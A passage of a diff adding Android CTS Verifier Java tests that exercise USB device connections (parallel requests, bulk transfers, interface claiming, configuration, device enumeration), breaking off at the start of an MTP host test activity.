+     * Common code between {@link QueuerThread} and {@link ReceiverThread}.
+     */
+    private class TestThread extends Thread {
+        /** State copied from the main thread (see runTest()) */
+        protected final UsbDeviceConnection mConnection;
+        protected final Recycler<UsbRequest> mInRequestRecycler;
+        protected final Recycler<UsbRequest> mOutRequestRecycler;
+        protected final Recycler<ByteBuffer> mBufferRecycler;
+        protected final HashMap<UsbRequest, RequestState> mRequestsInFlight;
+        protected final HashMap<Integer, Integer> mData;
+        protected final ArrayList<Throwable> mErrors;
+
+        protected volatile boolean mShouldStop;
+
+        TestThread(@NonNull UsbDeviceConnection connection,
+                @NonNull Recycler<UsbRequest> inRequestRecycler,
+                @NonNull Recycler<UsbRequest> outRequestRecycler,
+                @NonNull Recycler<ByteBuffer> bufferRecycler,
+                @NonNull HashMap<UsbRequest, RequestState> requestsInFlight,
+                @NonNull HashMap<Integer, Integer> data,
+                @NonNull ArrayList<Throwable> errors) {
+            super();
+
+            mShouldStop = false;
+            mConnection = connection;
+            mBufferRecycler = bufferRecycler;
+            mInRequestRecycler = inRequestRecycler;
+            mOutRequestRecycler = outRequestRecycler;
+            mRequestsInFlight = requestsInFlight;
+            mData = data;
+            mErrors = errors;
+        }
+
+        /**
+         * Stop thread
+         */
+        void abort() {
+            mShouldStop = true;
+            interrupt();
+        }
+    }
+
+    /**
+     * A thread that queues matching write and read {@link UsbRequest requests}. We expect the
+     * writes to be echoed back and return in unchanged in the read requests.
+     * <p> This thread just issues the requests and does not care about them anymore after the
+     * system took them. The {@link ReceiverThread} handles the result of both write and read
+     * requests.</p>
+     */
+    private class QueuerThread extends TestThread {
+        private static final int MAX_IN_FLIGHT = 64;
+        private static final long RUN_TIME = 10 * 1000;
+
+        private final AtomicInteger mCounter;
+
+        /**
+         * Create a new thread that queues matching write and read UsbRequests.
+         *
+         * @param connection Connection to communicate with
+         * @param inRequestRecycler Pool of in-requests that can be reused
+         * @param outRequestRecycler Pool of out-requests that can be reused
+         * @param bufferRecycler Pool of byte buffers that can be reused
+         * @param requestsInFlight State of the requests currently in flight
+         * @param data Mapping counter -> data
+         * @param counter An atomic counter
+         * @param errors Pool of throwables created by threads like this
+         */
+        QueuerThread(@NonNull UsbDeviceConnection connection,
+                @NonNull Recycler<UsbRequest> inRequestRecycler,
+                @NonNull Recycler<UsbRequest> outRequestRecycler,
+                @NonNull Recycler<ByteBuffer> bufferRecycler,
+                @NonNull HashMap<UsbRequest, RequestState> requestsInFlight,
+                @NonNull HashMap<Integer, Integer> data,
+                @NonNull AtomicInteger counter,
+                @NonNull ArrayList<Throwable> errors) {
+            super(connection, inRequestRecycler, outRequestRecycler, bufferRecycler,
+                    requestsInFlight, data, errors);
+
+            mCounter = counter;
+        }
+
+        @Override
+        public void run() {
+            Random random = new Random();
+
+            long endTime = now() + RUN_TIME;
+
+            while (now() < endTime && !mShouldStop) {
+                try {
+                    int counter = mCounter.getAndIncrement();
+
+                    if (counter % 1024 == 0) {
+                        Log.i(LOG_TAG, "Counter is " + counter);
+                    }
+
+                    // Write [1:counter:data]
+                    UsbRequest writeRequest = mOutRequestRecycler.get();
+                    ByteBuffer writeBuffer = mBufferRecycler.get();
+                    int data = random.nextInt();
+                    writeBuffer.put((byte)1).putInt(counter).putInt(data);
+                    writeBuffer.flip();
+
+                    // Send read that will receive the data back from the write as the other side
+                    // will echo all requests.
+                    UsbRequest readRequest = mInRequestRecycler.get();
+                    ByteBuffer readBuffer = mBufferRecycler.get();
+
+                    // Register requests
+                    synchronized (mRequestsInFlight) {
+                        // Wait until previous requests were processed
+                        while (mRequestsInFlight.size() > MAX_IN_FLIGHT) {
+                            try {
+                                mRequestsInFlight.wait();
+                            } catch (InterruptedException e) {
+                                break;
+                            }
+                        }
+
+                        if (mShouldStop) {
+                            break;
+                        } else {
+                            mRequestsInFlight.put(writeRequest, new RequestState(writeBuffer,
+                                    writeRequest.getClientData()));
+                            mRequestsInFlight.put(readRequest, new RequestState(readBuffer,
+                                    readRequest.getClientData()));
+                            mRequestsInFlight.notifyAll();
+                        }
+                    }
+
+                    // Store which data was written for the counter
+                    synchronized (mData) {
+                        mData.put(counter, data);
+                    }
+
+                    // Send both requests to the system. Once they finish the ReceiverThread will
+                    // be notified
+                    boolean isQueued = writeRequest.queue(writeBuffer);
+                    assertTrue(isQueued);
+
+                    isQueued = readRequest.queue(readBuffer, 9);
+                    assertTrue(isQueued);
+                } catch (Throwable t) {
+                    synchronized (mErrors) {
+                        mErrors.add(t);
+                        mErrors.notify();
+                    }
+                    break;
+                }
+            }
+        }
+    }
+
+    /**
+     * A thread that receives processed UsbRequests and compares the expected result. The requests
+     * can be both read and write requests. The requests were created and given to the system by
+     * the {@link QueuerThread}.
+     */
+    private class ReceiverThread extends TestThread {
+        private final UsbEndpoint mOut;
+
+        /**
+         * Create a thread that receives processed UsbRequests and compares the expected result.
+         *
+         * @param connection Connection to communicate with
+         * @param out Endpoint to queue write requests on
+         * @param inRequestRecycler Pool of in-requests that can be reused
+         * @param outRequestRecycler Pool of out-requests that can be reused
+         * @param bufferRecycler Pool of byte buffers that can be reused
+         * @param requestsInFlight State of the requests currently in flight
+         * @param data Mapping counter -> data
+         * @param errors Pool of throwables created by threads like this
+         */
+        ReceiverThread(@NonNull UsbDeviceConnection connection, @NonNull UsbEndpoint out,
+                @NonNull Recycler<UsbRequest> inRequestRecycler,
+                @NonNull Recycler<UsbRequest> outRequestRecycler,
+                @NonNull Recycler<ByteBuffer> bufferRecycler,
+                @NonNull HashMap<UsbRequest, RequestState> requestsInFlight,
+                @NonNull HashMap<Integer, Integer> data, @NonNull ArrayList<Throwable> errors) {
+            super(connection, inRequestRecycler, outRequestRecycler, bufferRecycler,
+                    requestsInFlight, data, errors);
+
+            mOut = out;
+        }
+
+        @Override
+        public void run() {
+            while (!mShouldStop) {
+                try {
+                    // Wait until a request is queued as mConnection.requestWait() cannot be
+                    // interrupted.
+                    synchronized (mRequestsInFlight) {
+                        while (mRequestsInFlight.isEmpty()) {
+                            try {
+                                mRequestsInFlight.wait();
+                            } catch (InterruptedException e) {
+                                break;
+                            }
+                        }
+
+                        if (mShouldStop) {
+                            break;
+                        }
+                    }
+
+                    // Receive request
+                    UsbRequest request = mConnection.requestWait();
+                    assertNotNull(request);
+
+                    // Find the state the request should have
+                    RequestState state;
+                    synchronized (mRequestsInFlight) {
+                        state = mRequestsInFlight.remove(request);
+                        mRequestsInFlight.notifyAll();
+                    }
+
+                    // Compare client data
+                    assertSame(state.clientData, request.getClientData());
+
+                    // There is nothing more to check about write requests, but for read requests
+                    // (the ones going to an out endpoint) we know that it just an echoed back write
+                    // request.
+                    if (!request.getEndpoint().equals(mOut)) {
+                        state.buffer.flip();
+
+                        // Read request buffer, check that data is correct
+                        byte alive = state.buffer.get();
+                        int counter = state.buffer.getInt();
+                        int receivedData = state.buffer.getInt();
+
+                        // We stored which data-combinations were written
+                        int expectedData;
+                        synchronized(mData) {
+                            expectedData = mData.remove(counter);
+                        }
+
+                        // Make sure read request matches a write request we sent before
+                        assertEquals(1, alive);
+                        assertEquals(expectedData, receivedData);
+                    }
+
+                    // Recycle buffers and requests so they can be reused later.
+                    mBufferRecycler.recycle(state.buffer);
+
+                    if (request.getEndpoint().equals(mOut)) {
+                        mOutRequestRecycler.recycle(request);
+                    } else {
+                        mInRequestRecycler.recycle(request);
+                    }
+                } catch (Throwable t) {
+                    synchronized (mErrors) {
+                        mErrors.add(t);
+                        mErrors.notify();
+                    }
+                    break;
+                }
+            }
+        }
+    }
+
+    /**
+     * Tests parallel issuance and receiving of {@link UsbRequest usb requests}.
+     *
+     * @param connection The connection to use for testing
+     * @param iface      The interface of the android accessory interface of the device
+     */
+    private void parallelUsbRequestsTests(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbInterface iface) {
+        // Find bulk in and out endpoints
+        assumeTrue(iface.getEndpointCount() == 2);
+        final UsbEndpoint in = getEndpoint(iface, UsbConstants.USB_DIR_IN);
+        final UsbEndpoint out = getEndpoint(iface, UsbConstants.USB_DIR_OUT);
+        assertNotNull(in);
+        assertNotNull(out);
+
+        // Recycler for requests for the in-endpoint
+        Recycler<UsbRequest> inRequestRecycler = new Recycler<UsbRequest>() {
+            @Override
+            protected void reset(@NonNull UsbRequest recycledElement) {
+                recycledElement.setClientData(new Object());
+            }
+
+            @Override
+            protected @NonNull UsbRequest create() {
+                UsbRequest request = new UsbRequest();
+                request.initialize(connection, in);
+
+                return request;
+            }
+        };
+
+        // Recycler for requests for the in-endpoint
+        Recycler<UsbRequest> outRequestRecycler = new Recycler<UsbRequest>() {
+            @Override
+            protected void reset(@NonNull UsbRequest recycledElement) {
+                recycledElement.setClientData(new Object());
+            }
+
+            @Override
+            protected @NonNull UsbRequest create() {
+                UsbRequest request = new UsbRequest();
+                request.initialize(connection, out);
+
+                return request;
+            }
+        };
+
+        // Recycler for requests for read and write buffers
+        Recycler<ByteBuffer> bufferRecycler = new Recycler<ByteBuffer>() {
+            @Override
+            protected void reset(@NonNull ByteBuffer recycledElement) {
+                recycledElement.rewind();
+            }
+
+            @Override
+            protected @NonNull ByteBuffer create() {
+                return ByteBuffer.allocateDirect(9);
+            }
+        };
+
+        HashMap<UsbRequest, RequestState> requestsInFlight = new HashMap<>();
+
+        // Data in the requests
+        HashMap<Integer, Integer> data = new HashMap<>();
+        AtomicInteger counter = new AtomicInteger(0);
+
+        // Errors created in the threads
+        ArrayList<Throwable> errors = new ArrayList<>();
+
+        // Create two threads that queue read and write requests
+        QueuerThread queuer1 = new QueuerThread(connection, inRequestRecycler,
+                outRequestRecycler, bufferRecycler, requestsInFlight, data, counter, errors);
+        QueuerThread queuer2 = new QueuerThread(connection, inRequestRecycler,
+                outRequestRecycler, bufferRecycler, requestsInFlight, data, counter, errors);
+
+        // Create a thread that receives the requests after they are processed.
+        ReceiverThread receiver = new ReceiverThread(connection, out, inRequestRecycler,
+                outRequestRecycler, bufferRecycler, requestsInFlight, data, errors);
+
+        nextTest(connection, in, out, "Echo until stop signal");
+
+        queuer1.start();
+        queuer2.start();
+        receiver.start();
+
+        Log.i(LOG_TAG, "Waiting for queuers to stop");
+
+        try {
+            queuer1.join();
+            queuer2.join();
+        } catch (InterruptedException e) {
+            synchronized(errors) {
+                errors.add(e);
+            }
+        }
+
+        if (errors.isEmpty()) {
+            Log.i(LOG_TAG, "Wait for all requests to finish");
+            synchronized (requestsInFlight) {
+                while (!requestsInFlight.isEmpty()) {
+                    try {
+                        requestsInFlight.wait();
+                    } catch (InterruptedException e) {
+                        synchronized(errors) {
+                            errors.add(e);
+                        }
+                        break;
+                    }
+                }
+            }
+
+            receiver.abort();
+
+            try {
+                receiver.join();
+            } catch (InterruptedException e) {
+                synchronized(errors) {
+                    errors.add(e);
+                }
+            }
+
+            // Close all requests that are currently recycled
+            inRequestRecycler.getAll().forEach(UsbRequest::close);
+            outRequestRecycler.getAll().forEach(UsbRequest::close);
+        } else {
+            receiver.abort();
+        }
+
+        for (Throwable t : errors) {
+            Log.e(LOG_TAG, "Error during test", t);
+        }
+
+        byte[] stopBytes = new byte[9];
+        connection.bulkTransfer(out, stopBytes, 9, 0);
+
+        // If we had any error make the test fail
+        assertEquals(0, errors.size());
+    }
+
+    /**
+     * Tests {@link UsbDeviceConnection#bulkTransfer}.
+     *
+     * @param connection The connection to use for testing
+     * @param iface      The interface of the android accessory interface of the device
+     * @throws Throwable
+     */
+    private void bulkTransferTests(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbInterface iface) throws Throwable {
+        // Find bulk in and out endpoints
+        assumeTrue(iface.getEndpointCount() == 2);
+        final UsbEndpoint in = getEndpoint(iface, UsbConstants.USB_DIR_IN);
+        final UsbEndpoint out = getEndpoint(iface, UsbConstants.USB_DIR_OUT);
+        assertNotNull(in);
+        assertNotNull(out);
+
+        // Transmission tests
+        nextTest(connection, in, out, "Echo 1 byte");
+        echoBulkTransfer(connection, in, out, 1);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoBulkTransferOffset(connection, in, out, 23, 42);
+
+        nextTest(connection, in, out, "Echo max bytes");
+        echoBulkTransfer(connection, in, out, MAX_BUFFER_SIZE);
+
+        nextTest(connection, in, out, "Echo oversized buffer");
+        echoOversizedBulkTransfer(connection, in, out);
+
+        nextTest(connection, in, out, "Receive oversized buffer");
+        receiveOversizedBulkTransfer(connection, in);
+
+        // Illegal arguments
+        runAndAssertException(() -> connection.bulkTransfer(out, new byte[1], 2, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(in, new byte[1], 2, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(out, new byte[2], 1, 2, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(in, new byte[2], 1, 2, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(out, new byte[1], -1, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(in, new byte[1], -1, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(out, new byte[1], 1, -1, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(in, new byte[1], 1, -1, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(out, new byte[1], -1, -1, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(in, new byte[1], -1, -1, 0),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> connection.bulkTransfer(null, new byte[1], 1, 0),
+                NullPointerException.class);
+
+        // Transmissions that do nothing
+        int numSent = connection.bulkTransfer(out, null, 0, 0);
+        assertEquals(0, numSent);
+
+        numSent = connection.bulkTransfer(out, null, 0, 0, 0);
+        assertEquals(0, numSent);
+
+        numSent = connection.bulkTransfer(out, new byte[0], 0, 0);
+        assertEquals(0, numSent);
+
+        numSent = connection.bulkTransfer(out, new byte[0], 0, 0, 0);
+        assertEquals(0, numSent);
+
+        numSent = connection.bulkTransfer(out, new byte[2], 2, 0, 0);
+        assertEquals(0, numSent);
+
+        /* TODO: These tests are flaky as they appear to be affected by previous tests
+
+        // Transmissions that do not transfer data:
+        // - first transfer blocks until data is received, but does not return the data.
+        // - The data is read in the second transfer
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveWithEmptyBuffer(connection, in, null, 0, 0);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveWithEmptyBuffer(connection, in, new byte[0], 0, 0);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveWithEmptyBuffer(connection, in, new byte[2], 2, 0);
+
+        */
+
+        // Timeouts
+        int numReceived = connection.bulkTransfer(in, new byte[1], 1, 100);
+        assertEquals(-1, numReceived);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        numReceived = connection.bulkTransfer(in, new byte[1], 1, 10000);
+        assertEquals(1, numReceived);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        numReceived = connection.bulkTransfer(in, new byte[1], 1, 0);
+        assertEquals(1, numReceived);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        numReceived = connection.bulkTransfer(in, new byte[1], 1, -1);
+        assertEquals(1, numReceived);
+
+        numReceived = connection.bulkTransfer(in, new byte[2], 1, 1, 100);
+        assertEquals(-1, numReceived);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        numReceived = connection.bulkTransfer(in, new byte[2], 1, 1, 0);
+        assertEquals(1, numReceived);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        numReceived = connection.bulkTransfer(in, new byte[2], 1, 1, -1);
+        assertEquals(1, numReceived);
+    }
+
+    /**
+     * Test if the companion device zero-terminates their requests that are multiples of the
+     * maximum package size. Then sets {@link #mDoesCompanionZeroTerminate} if the companion
+     * zero terminates
+     *
+     * @param connection Connection to the USB device
+     * @param iface      The interface to use
+     */
+    private void testIfCompanionZeroTerminates(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbInterface iface) {
+        assumeTrue(iface.getEndpointCount() == 2);
+        final UsbEndpoint in = getEndpoint(iface, UsbConstants.USB_DIR_IN);
+        final UsbEndpoint out = getEndpoint(iface, UsbConstants.USB_DIR_OUT);
+        assertNotNull(in);
+        assertNotNull(out);
+
+        nextTest(connection, in, out, "does companion zero terminate");
+
+        // The other size sends:
+        // - 1024 bytes
+        // - maybe a zero sized package
+        // - 1 byte
+
+        byte[] buffer = new byte[1024];
+        int numTransferred = connection.bulkTransfer(in, buffer, 1024, 0);
+        assertEquals(1024, numTransferred);
+
+        numTransferred = connection.bulkTransfer(in, buffer, 1, 0);
+        if (numTransferred == 0) {
+            assertEquals(0, numTransferred);
+
+            numTransferred = connection.bulkTransfer(in, buffer, 1, 0);
+            assertEquals(1, numTransferred);
+
+            mDoesCompanionZeroTerminate = true;
+            Log.i(LOG_TAG, "Companion zero terminates");
+        } else {
+            assertEquals(1, numTransferred);
+            Log.i(LOG_TAG, "Companion does not zero terminate - an older device");
+        }
+    }
+
+    /**
+     * Send signal to the remove device that testing is finished.
+     *
+     * @param connection The connection to use for testing
+     * @param iface      The interface of the android accessory interface of the device
+     */
+    private void endTesting(@NonNull UsbDeviceConnection connection, @NonNull UsbInterface iface) {
+        // "done" signals that testing is over
+        nextTest(connection, getEndpoint(iface, UsbConstants.USB_DIR_IN),
+                getEndpoint(iface, UsbConstants.USB_DIR_OUT), "done");
+    }
+
+    /**
+     * Test the behavior of {@link UsbDeviceConnection#claimInterface} and
+     * {@link UsbDeviceConnection#releaseInterface}.
+     *
+     * <p>Note: The interface under test is <u>not</u> claimed by a kernel driver, hence there is
+     * no difference in behavior between force and non-force versions of
+     * {@link UsbDeviceConnection#claimInterface}</p>
+     *
+     * @param connection The connection to use
+     * @param iface The interface to claim and release
+     *
+     * @throws Throwable
+     */
+    private void claimInterfaceTests(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbInterface iface) throws Throwable {
+        // The interface is not claimed by the kernel driver, so not forcing it should work
+        boolean claimed = connection.claimInterface(iface, false);
+        assertTrue(claimed);
+        boolean released = connection.releaseInterface(iface);
+        assertTrue(released);
+
+        // Forcing if it is not necessary does no harm
+        claimed = connection.claimInterface(iface, true);
+        assertTrue(claimed);
+
+        // Re-claiming does nothing
+        claimed = connection.claimInterface(iface, true);
+        assertTrue(claimed);
+
+        released = connection.releaseInterface(iface);
+        assertTrue(released);
+
+        // Re-releasing is not allowed
+        released = connection.releaseInterface(iface);
+        assertFalse(released);
+
+        // Using an unclaimed interface claims it automatically
+        int numSent = connection.bulkTransfer(getEndpoint(iface, UsbConstants.USB_DIR_OUT), null, 0,
+                0);
+        assertEquals(0, numSent);
+
+        released = connection.releaseInterface(iface);
+        assertTrue(released);
+
+        runAndAssertException(() -> connection.claimInterface(null, true),
+                NullPointerException.class);
+        runAndAssertException(() -> connection.claimInterface(null, false),
+                NullPointerException.class);
+        runAndAssertException(() -> connection.releaseInterface(null), NullPointerException.class);
+    }
+
+    /**
+     * Test all input parameters to {@link UsbDeviceConnection#setConfiguration} .
+     *
+     * <p>Note:
+     * <ul>
+     *     <li>The device under test only supports one configuration, hence changing configuration
+     * is not tested.</li>
+     *     <li>This test sets the current configuration again. This resets the device.</li>
+     * </ul></p>
+     *
+     * @param device the device under test
+     * @param connection The connection to use
+     * @param iface An interface of the device
+     *
+     * @throws Throwable
+     */
+    private void setConfigurationTests(@NonNull UsbDevice device,
+            @NonNull UsbDeviceConnection connection, @NonNull UsbInterface iface) throws Throwable {
+        assumeTrue(device.getConfigurationCount() == 1);
+        boolean wasSet = connection.setConfiguration(device.getConfiguration(0));
+        assertTrue(wasSet);
+
+        // Cannot set configuration for a device with a claimed interface
+        boolean claimed = connection.claimInterface(iface, false);
+        assertTrue(claimed);
+        wasSet = connection.setConfiguration(device.getConfiguration(0));
+        assertFalse(wasSet);
+        boolean released = connection.releaseInterface(iface);
+        assertTrue(released);
+
+        runAndAssertException(() -> connection.setConfiguration(null), NullPointerException.class);
+    }
+
+    /**
+     * Test all input parameters to {@link UsbDeviceConnection#setConfiguration} .
+     *
+     * <p>Note: The interface under test only supports one settings, hence changing the setting can
+     * not be tested.</p>
+     *
+     * @param connection The connection to use
+     * @param iface The interface to test
+     *
+     * @throws Throwable
+     */
+    private void setInterfaceTests(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbInterface iface) throws Throwable {
+        boolean claimed = connection.claimInterface(iface, false);
+        assertTrue(claimed);
+        boolean wasSet = connection.setInterface(iface);
+        assertTrue(wasSet);
+        boolean released = connection.releaseInterface(iface);
+        assertTrue(released);
+
+        // Setting the interface for an unclaimed interface automatically claims it
+        wasSet = connection.setInterface(iface);
+        assertTrue(wasSet);
+        released = connection.releaseInterface(iface);
+        assertTrue(released);
+
+        runAndAssertException(() -> connection.setInterface(null), NullPointerException.class);
+    }
+
+    /**
+     * Enumerate all known devices and check basic relationship between the properties.
+     */
+    private void enumerateDevices() throws Exception {
+        Set<Integer> knownDeviceIds = new ArraySet<>();
+
+        for (Map.Entry<String, UsbDevice> entry : mUsbManager.getDeviceList().entrySet()) {
+            UsbDevice device = entry.getValue();
+
+            assertEquals(entry.getKey(), device.getDeviceName());
+            assertNotNull(device.getDeviceName());
+
+            // Device ID should be unique
+            assertFalse(knownDeviceIds.contains(device.getDeviceId()));
+            knownDeviceIds.add(device.getDeviceId());
+
+            assertEquals(device.getDeviceName(), UsbDevice.getDeviceName(device.getDeviceId()));
+
+            // Properties without constraints
+            device.getManufacturerName();
+            device.getProductName();
+            device.getVersion();
+            device.getSerialNumber();
+            device.getVendorId();
+            device.getProductId();
+            device.getDeviceClass();
+            device.getDeviceSubclass();
+            device.getDeviceProtocol();
+
+            Set<UsbInterface> interfacesFromAllConfigs = new ArraySet<>();
+            Set<Pair<Integer, Integer>> knownInterfaceIds = new ArraySet<>();
+            Set<Integer> knownConfigurationIds = new ArraySet<>();
+            int numConfigurations = device.getConfigurationCount();
+            for (int configNum = 0; configNum < numConfigurations; configNum++) {
+                UsbConfiguration config = device.getConfiguration(configNum);
+
+                // Configuration ID should be unique
+                assertFalse(knownConfigurationIds.contains(config.getId()));
+                knownConfigurationIds.add(config.getId());
+
+                assertTrue(config.getMaxPower() >= 0);
+
+                // Properties without constraints
+                config.getName();
+                config.isSelfPowered();
+                config.isRemoteWakeup();
+
+                int numInterfaces = config.getInterfaceCount();
+                for (int interfaceNum = 0; interfaceNum < numInterfaces; interfaceNum++) {
+                    UsbInterface iface = config.getInterface(interfaceNum);
+                    interfacesFromAllConfigs.add(iface);
+
+                    Pair<Integer, Integer> ifaceId = new Pair<>(iface.getId(),
+                            iface.getAlternateSetting());
+                    assertFalse(knownInterfaceIds.contains(ifaceId));
+                    knownInterfaceIds.add(ifaceId);
+
+                    // Properties without constraints
+                    iface.getName();
+                    iface.getInterfaceClass();
+                    iface.getInterfaceSubclass();
+                    iface.getInterfaceProtocol();
+
+                    int numEndpoints = iface.getEndpointCount();
+                    for (int endpointNum = 0; endpointNum < numEndpoints; endpointNum++) {
+                        UsbEndpoint endpoint = iface.getEndpoint(endpointNum);
+
+                        assertEquals(endpoint.getAddress(),
+                                endpoint.getEndpointNumber() | endpoint.getDirection());
+
+                        assertTrue(endpoint.getDirection() == UsbConstants.USB_DIR_OUT ||
+                                endpoint.getDirection() == UsbConstants.USB_DIR_IN);
+
+                        assertTrue(endpoint.getType() == UsbConstants.USB_ENDPOINT_XFER_CONTROL ||
+                                endpoint.getType() == UsbConstants.USB_ENDPOINT_XFER_ISOC ||
+                                endpoint.getType() == UsbConstants.USB_ENDPOINT_XFER_BULK ||
+                                endpoint.getType() == UsbConstants.USB_ENDPOINT_XFER_INT);
+
+                        assertTrue(endpoint.getMaxPacketSize() >= 0);
+                        assertTrue(endpoint.getInterval() >= 0);
+
+                        // Properties without constraints
+                        endpoint.getAttributes();
+                    }
+                }
+            }
+
+            int numInterfaces = device.getInterfaceCount();
+            for (int interfaceNum = 0; interfaceNum < numInterfaces; interfaceNum++) {
+                assertTrue(interfacesFromAllConfigs.contains(device.getInterface(interfaceNum)));
+            }
+        }
+    }
+
+    /**
+     * Run tests.
+     *
+     * @param device The device to run the test against. This device is running
+     *               com.android.cts.verifierusbcompanion.DeviceTestCompanion
+     */
+    private void runTests(@NonNull UsbDevice device) {
+        try {
+            // Find the AOAP interface
+            UsbInterface iface = null;
+            for (int i = 0; i < device.getConfigurationCount(); i++) {
+                if (device.getInterface(i).getName().equals("Android Accessory Interface")) {
+                    iface = device.getInterface(i);
+                    break;
+                }
+            }
+            assumeNotNull(iface);
+
+            enumerateDevices();
+
+            UsbDeviceConnection connection = mUsbManager.openDevice(device);
+            assertNotNull(connection);
+
+            claimInterfaceTests(connection, iface);
+
+            boolean claimed = connection.claimInterface(iface, false);
+            assertTrue(claimed);
+
+            testIfCompanionZeroTerminates(connection, iface);
+
+            usbRequestLegacyTests(connection, iface);
+            usbRequestTests(connection, iface);
+            parallelUsbRequestsTests(connection, iface);
+            ctrlTransferTests(connection);
+            bulkTransferTests(connection, iface);
+
+            // Signal to the DeviceTestCompanion that there are no more transfer test
+            endTesting(connection, iface);
+            boolean released = connection.releaseInterface(iface);
+            assertTrue(released);
+
+            setInterfaceTests(connection, iface);
+            setConfigurationTests(device, connection, iface);
+
+            assertFalse(connection.getFileDescriptor() == -1);
+            assertNotNull(connection.getRawDescriptors());
+            assertFalse(connection.getRawDescriptors().length == 0);
+            assertEquals(device.getSerialNumber(), connection.getSerial());
+
+            connection.close();
+
+            // We should not be able to communicate with the device anymore
+            assertFalse(connection.claimInterface(iface, true));
+            assertFalse(connection.releaseInterface(iface));
+            assertFalse(connection.setConfiguration(device.getConfiguration(0)));
+            assertFalse(connection.setInterface(iface));
+            assertTrue(connection.getFileDescriptor() == -1);
+            assertNull(connection.getRawDescriptors());
+            assertNull(connection.getSerial());
+            assertEquals(-1, connection.bulkTransfer(getEndpoint(iface, UsbConstants.USB_DIR_OUT),
+                    new byte[1], 1, 0));
+            assertEquals(-1, connection.bulkTransfer(getEndpoint(iface, UsbConstants.USB_DIR_OUT),
+                    null, 0, 0));
+            assertEquals(-1, connection.bulkTransfer(getEndpoint(iface, UsbConstants.USB_DIR_IN),
+                    null, 0, 0));
+            assertFalse((new UsbRequest()).initialize(connection, getEndpoint(iface,
+                    UsbConstants.USB_DIR_IN)));
+
+            // Double close should do no harm
+            connection.close();
+
+            setTestResultAndFinish(true);
+        } catch (AssumptionViolatedException e) {
+            // Assumptions failing means that somehow the device/connection is set up incorrectly
+            Toast.makeText(this, getString(R.string.usb_device_unexpected, e.getLocalizedMessage()),
+                    Toast.LENGTH_LONG).show();
+        } catch (Throwable e) {
+            fail(null, e);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        if (mUsbDeviceConnectionReceiver != null) {
+            unregisterReceiver(mUsbDeviceConnectionReceiver);
+        }
+
+        super.onDestroy();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
new file mode 100644
index 0000000..e0538f5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -0,0 +1,422 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.usb.mtp;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.usb.UsbConstants;
+import android.hardware.usb.UsbDevice;
+import android.hardware.usb.UsbDeviceConnection;
+import android.hardware.usb.UsbInterface;
+import android.hardware.usb.UsbManager;
+import android.mtp.MtpConstants;
+import android.mtp.MtpDevice;
+import android.mtp.MtpDeviceInfo;
+import android.mtp.MtpEvent;
+import android.mtp.MtpObjectInfo;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.util.MutableInt;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import junit.framework.AssertionFailedError;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+public class MtpHostTestActivity extends PassFailButtons.Activity implements Handler.Callback {
+    private static final int MESSAGE_PASS = 0;
+    private static final int MESSAGE_FAIL = 1;
+    private static final int MESSAGE_RUN = 2;
+
+    private static final int ITEM_STATE_PASS = 0;
+    private static final int ITEM_STATE_FAIL = 1;
+    private static final int ITEM_STATE_INDETERMINATE = 2;
+
+    /**
+     * Subclass for PTP.
+     */
+    private static final int SUBCLASS_STILL_IMAGE_CAPTURE = 1;
+
+    /**
+     * Subclass for Android style MTP.
+     */
